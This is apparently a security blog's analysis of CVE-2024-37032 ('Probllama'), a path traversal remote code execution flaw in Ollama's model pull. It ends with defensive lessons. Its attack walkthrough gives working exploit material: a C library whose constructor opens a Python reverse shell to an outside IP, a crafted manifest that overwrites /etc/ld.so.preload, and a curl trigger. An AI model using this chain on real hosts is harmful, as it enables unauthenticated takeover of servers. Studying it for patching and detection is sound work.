Ollama: Deconstructing the Probllama RCE

Ollama: Deconstructing the Probllama RCE

Overview & Threat Landscape#

The emergence of local Large Language Model (LLM) inference engines has reshaped enterprise AI architecture. Leading this transition is Ollama, an open-source framework designed to package, run, and orchestrate open-weight models (such as Llama 3, Mistral, and Gemma) across local workstations, cloud virtual machines, and GPU compute clusters. However, the rapid operationalization of AI microservices often outpaces foundational security architecture.

In June 2024, vulnerability research by Oligo Security revealed CVE-2024-37032—a critical vulnerability colloquially named "Probllama". Assigned a near-maximum CVSS score of 9.8 (CWE-22 / CWE-73), the flaw enables unauthenticated remote code execution (RCE) on systems hosting vulnerable Ollama versions prior to 0.1.34.

The vulnerability dramatically shifts the threat calculus for modern enterprise AI infrastructure:

  • Unauthenticated API Exposure by Default: Ollama's HTTP API listening on TCP port 11434 was designed as an internal development service without native authentication mechanisms. In cloud deployments, container orchestration environments, and developer jump-boxes, instances were routinely bound to 0.0.0.0:11434 to service external web frontends and agentic frameworks. Reconnaissance scans via Shodan and Censys identified thousands of exposed, unauthenticated Ollama nodes worldwide.
  • Abuse of Container Registry Mechanics: Ollama adopts the Docker Registry HTTP API v2 and Open Container Initiative (OCI) specification to distribute model weights, tokenizer metadata, and model definitions. Rather than downloading raw GGUF files directly, Ollama pulls multi-layered manifests containing cryptographic blob digests. The vulnerability arises from an unvalidated path traversal flaw in the layer download handler, turning model synchronization into an arbitrary file-write primitive.
  • Zero-Click Remote Code Execution: By issuing an unauthenticated POST /api/pull request instructing a target Ollama instance to fetch a model from an attacker-controlled OCI registry, an external threat actor can write arbitrary binary payloads anywhere on the host filesystem where the daemon has write permissions. By targeting /etc/ld.so.preload, shared dynamic libraries, or user startup profiles, attackers gain immediate code execution with the privileges of the Ollama service—frequently root in Docker environments.
  • Crown Jewel Compromise in AI Clusters: Once an inference host is compromised, threat actors gain direct access to proprietary fine-tuning datasets, embedded API tokens for commercial LLM providers, corporate vector database secrets, and the underlying GPU compute fabric.

[!WARNING] Because Ollama provides no native authentication or role-based access control (RBAC), any host exposing port 11434 to untrusted network segments can be compromised via a single HTTP request, without requiring valid user credentials or user interaction.


Vulnerability & Attack Root-Cause Analysis#

To understand how CVE-2024-37032 transforms an AI model download into arbitrary code execution, we must analyze the Go implementation of Ollama's model pull logic within server/download.go and server/routes.go.

The Docker OCI Manifest Contract#

When a user or application requests an AI model via the API (POST /api/pull), Ollama connects to the designated registry (by default, registry.ollama.ai, but configurable to any arbitrary domain) and requests the model manifest:

HTTP
GET /v2/attacker-repo/rogue-model/manifests/latest HTTP/1.1
Host: attacker-registry.io
Accept: application/vnd.docker.distribution.manifest.v2+json

The registry responds with a standard OCI manifest containing layer digests:

JSON
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
    "size": 0
  },
  "layers": [
    {
      "mediaType": "application/vnd.ollama.image.model",
      "digest": "sha256-5b682e88132...",
      "size": 1024
    }
  ]
}

The Path Traversal Flaw in downloadBlob#

In vulnerable versions (Ollama < 0.1.34), Ollama iterates through each layer in the manifest and invokes downloadBlob to retrieve the corresponding payload. To store blobs on disk, Ollama maintains a local cache directory located at ~/.ollama/models/blobs/ on Linux/macOS or C:\Users\<User>.ollama\models\blobs on Windows.

The vulnerable code constructed the destination filepath using Go's filepath.Join:

GO
// Vulnerable code path in server/download.go (prior to version 0.1.34)
func (s *Server) downloadBlob(ctx context.Context, reg Registry, digest string) error {
    // Normalizes colon to hyphen: "sha256:abcd" becomes "sha256-abcd"
    digestFile := strings.ReplaceAll(digest, ":", "-")
    
    // Construct local file path by joining blobs directory with the digest filename
    blobPath := filepath.Join(s.blobsDir, digestFile)
    
    // Create destination file without path sanitization
    out, err := os.Create(blobPath)
    if err != nil {
        return fmt.Errorf("could not create blob file: %w", err)
    }
    defer out.Close()

    // Stream blob payload directly from remote registry into destination file
    resp, err := reg.DownloadBlob(ctx, digest)
    if err != nil {
        return err
    }
    defer resp.Close()

    _, err = io.Copy(out, resp)
    return err
}

Lexical Path Resolution Failure#

The critical architectural flaw lies in the trust placed in the digest string supplied by the remote registry. The code assumed digest would strictly follow standard hexadecimal hash conventions (e.g., sha256:7f83b1...).

However, the server performed no validation against character sets or directory traversal characters. In Go, filepath.Join calls filepath.Clean on the concatenated path:

  • If an attacker crafts the manifest layer digest as: sha256-../../../../../../etc/ld.so.preload
  • Go's filepath.Join("/root/.ollama/models/blobs", "sha256-../../../../../../etc/ld.so.preload") resolves the relative dot-dot (..) segments lexically.
  • The evaluated output escapes /root/.ollama/models/blobs entirely and evaluates directly to: /etc/ld.so.preload Because os.Create opens the target file with write and truncate flags (O_RDWR|O_CREATE|O_TRUNC), any existing system file is overwritten with the incoming blob contents, and any non-existent file is created.

[!IMPORTANT] The dynamic nature of OCI manifests meant that Ollama trusted external registries to specify local storage filenames. When coupled with unauthenticated API exposure, this design flaw converted an unprivileged model retrieval feature into an arbitrary remote file write primitive.


Exploit Architecture#

The sequence diagram below outlines the full attack chain from initial unauthenticated API discovery to host-level code execution:

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor
    participant Victim as Ollama Server (Port 11434)
    participant Reg as Rogue OCI Registry (Attacker Host)
    participant FS as Victim Linux Filesystem
    participant DynamicLinker as Dynamic Linker (ld.so)

    Note over Attacker,Victim: Step 1: Reconnaissance & Trigger
    Attacker->>Victim: POST /api/pull {"name": "attacker-registry.io/exploit/model:latest"}
    Note over Victim: Victim accepts request without authentication

    Note over Victim,Reg: Step 2: Manifest & Payload Fetching
    Victim->>Reg: GET /v2/exploit/model/manifests/latest
    Reg-->>Victim: Return crafted Manifest with Traversal Digests
    Note over Reg,Victim: Digest 1: sha256-../../../../../../tmp/libevil.so<br>Digest 2: sha256-../../../../../../etc/ld.so.preload

    Note over Victim,FS: Step 3: Path Traversal Execution
    Victim->>Reg: GET /v2/exploit/model/blobs/Digest-1
    Reg-->>Victim: Stream compiled ELF shared object (libevil.so)
    Victim->>FS: Write payload to /tmp/libevil.so via traversed path

    Victim->>Reg: GET /v2/exploit/model/blobs/Digest-2
    Reg-->>Victim: Stream text containing "/tmp/libevil.so"
    Victim->>FS: Overwrite /etc/ld.so.preload with payload path

    Note over FS,DynamicLinker: Step 4: Code Execution Hijack
    Victim->>FS: Any subsequent command execution (or cron/system process)
    DynamicLinker->>FS: Read /etc/ld.so.preload
    DynamicLinker->>FS: Preload /tmp/libevil.so into process memory space
    FS-->>Attacker: Execute constructor payload (Reverse Shell / Root Takeover)

Attack Path Step-by-Step#

A detailed walkthrough of the attack path illustrates the mechanics of achieving remote code execution.

Step 1: Crafting the Malicious Shared Library (libevil.c)#

The threat actor compiles a minimal shared object library containing a standard C constructor attribute (__attribute__((constructor))). This constructor executes immediately when the shared library is loaded into memory by the dynamic linker (ld.so):

C
// libevil.c - Malicious constructor payload
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init(void) {
    // Check if running in the context of root or target process
    if (getuid() == 0 || getuid() == 1000) {
        // Execute arbitrary system payload (e.g., reverse shell or credentials harvest)
        system("/usr/bin/python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.0.2.50",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' &");
    }
}

Compile the shared object:

BASH
gcc -shared -fPIC -nostartfiles -o libevil.so libevil.c

Step 2: Constructing the Rogue OCI Registry Manifest#

The attacker sets up a lightweight HTTP server emulating a Docker/OCI registry. The server hosts a crafted manifest referencing two distinct blobs:

  1. Blob 1 (libevil.so): Destination path traversed to /tmp/libevil.so.
  2. Blob 2 (ld.so.preload): Destination path traversed to /etc/ld.so.preload, containing the single text line /tmp/libevil.so.
JSON
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad",
    "size": 128
  },
  "layers": [
    {
      "mediaType": "application/vnd.ollama.image.model",
      "digest": "sha256-../../../../../../tmp/libevil.so",
      "size": 15420
    },
    {
      "mediaType": "application/vnd.ollama.image.model",
      "digest": "sha256-../../../../../../etc/ld.so.preload",
      "size": 16
    }
  ]
}

Step 3: Triggering the Vulnerability via /api/pull#

The attacker dispatches a single unauthenticated HTTP POST request against the victim's Ollama port 11434:

BASH
curl -X POST "http://victim-ai-host.internal:11434/api/pull" \
     -H "Content-Type: application/json" \
     -d '{
       "name": "attacker-registry.io:5000/exploit/probllama:latest",
       "insecure": true
     }'

Ollama immediately returns a streaming JSON response tracking the pull progress:

JSON
{"status":"pulling manifest"}
{"status":"pulling sha256-../../../../../../tmp/libevil.so"}
{"status":"writing layer"}
{"status":"pulling sha256-../../../../../../etc/ld.so.preload"}
{"status":"writing layer"}
{"status":"success"}

Step 4: Execution Hijack via Dynamic Linker Preloading#

Once /etc/ld.so.preload is overwritten:

  1. The very next process spawned on the Linux host (e.g., Ollama invoking sub-processes, an administrative SSH session, or background cron jobs) invokes the dynamic linker /lib64/ld-linux-x86-64.so.2.
  2. The linker inspects /etc/ld.so.preload and loads /tmp/libevil.so into the new process's address space before main() executes.
  3. The C constructor executes the reverse shell payload with the privileges of that process.

If Ollama runs as a non-root user and cannot overwrite /etc/ld.so.preload, attackers can traverse paths relative to the user's home directory, targeting ~/.bashrc, ~/.profile, or ~/.ssh/authorized_keys to achieve equivalent execution upon next login or service invocation.


Fast Cyber Defense Morning Takeaways#

The disclosure of CVE-2024-37032 underscores critical lessons for security teams deploying and operating modern AI and LLM stacks:

  1. AI Inference Engines Are Perimeter Attack Surfaces: Treating LLM runners as passive developer tools ignores the reality of their network architecture. Any service capable of binding to network interfaces, downloading multi-gigabyte files from external registries, and executing binaries must be subjected to standard perimeter threat modeling.
  2. File Path Normalization Is Insufficient Without Allowlisting: Relying on filepath.Join without validating input against an explicit strict character set("e.g., regex ^[a-f0-9]{64}$") is a pervasive vulnerability pattern. Path sanitation must always precede path construction.
  3. Container Isolation and Least Privilege Must Be Enforced: Running Ollama as root inside Docker containers allowed a single path traversal vulnerability to escalate into full host compromise via /etc/ld.so.preload.

Bridge to Evening Defense Guide#

In tonight's companion defensive engineering guide, we will design and deploy a complete production blue team defense package:

  • Network Binding & Reverse Proxy Hardening: Restricting Ollama host interfaces (OLLAMA_HOST=127.0.0.1) and configuring NGINX/Envoy reverse proxies with mTLS and Bearer token enforcement.
  • AppArmor & SELinux Confinement Profiles: Crafting strict Linux Security Module (LSM) policies that prevent the Ollama process from writing outside its allocated models directory.
  • Production Detection Rules: Writing Sigma rules for suspicious /api/pull payloads, auditd rules for /etc/ld.so.preload modifications, and eBPF tracepoints for path traversal detection.
  • Incident Response & Triage Playbook: Step-by-step verification checklist to audit running Ollama instances, detect rogue models, and inspect filesystem integrity.

Authoritative References#

  1. Oligo Security Threat Research: Probllama: Ollama Remote Code Execution Vulnerability (CVE-2024-37032) — Oligo Security Labs
  2. National Vulnerability Database (NVD): CVE-2024-37032 Detail - Improper Limitation of a Pathname to a Restricted Directory in Ollama — NIST NVD
  3. Ollama GitHub Repository: Release v0.1.34 - Security Fix for Model Pull Path Traversal Validation — GitHub Ollama Releases
  4. CISA Cybersecurity Best Practices: Deploying and Securing Artificial Intelligence Systems in Enterprise Environments — CISA AI Security

Comments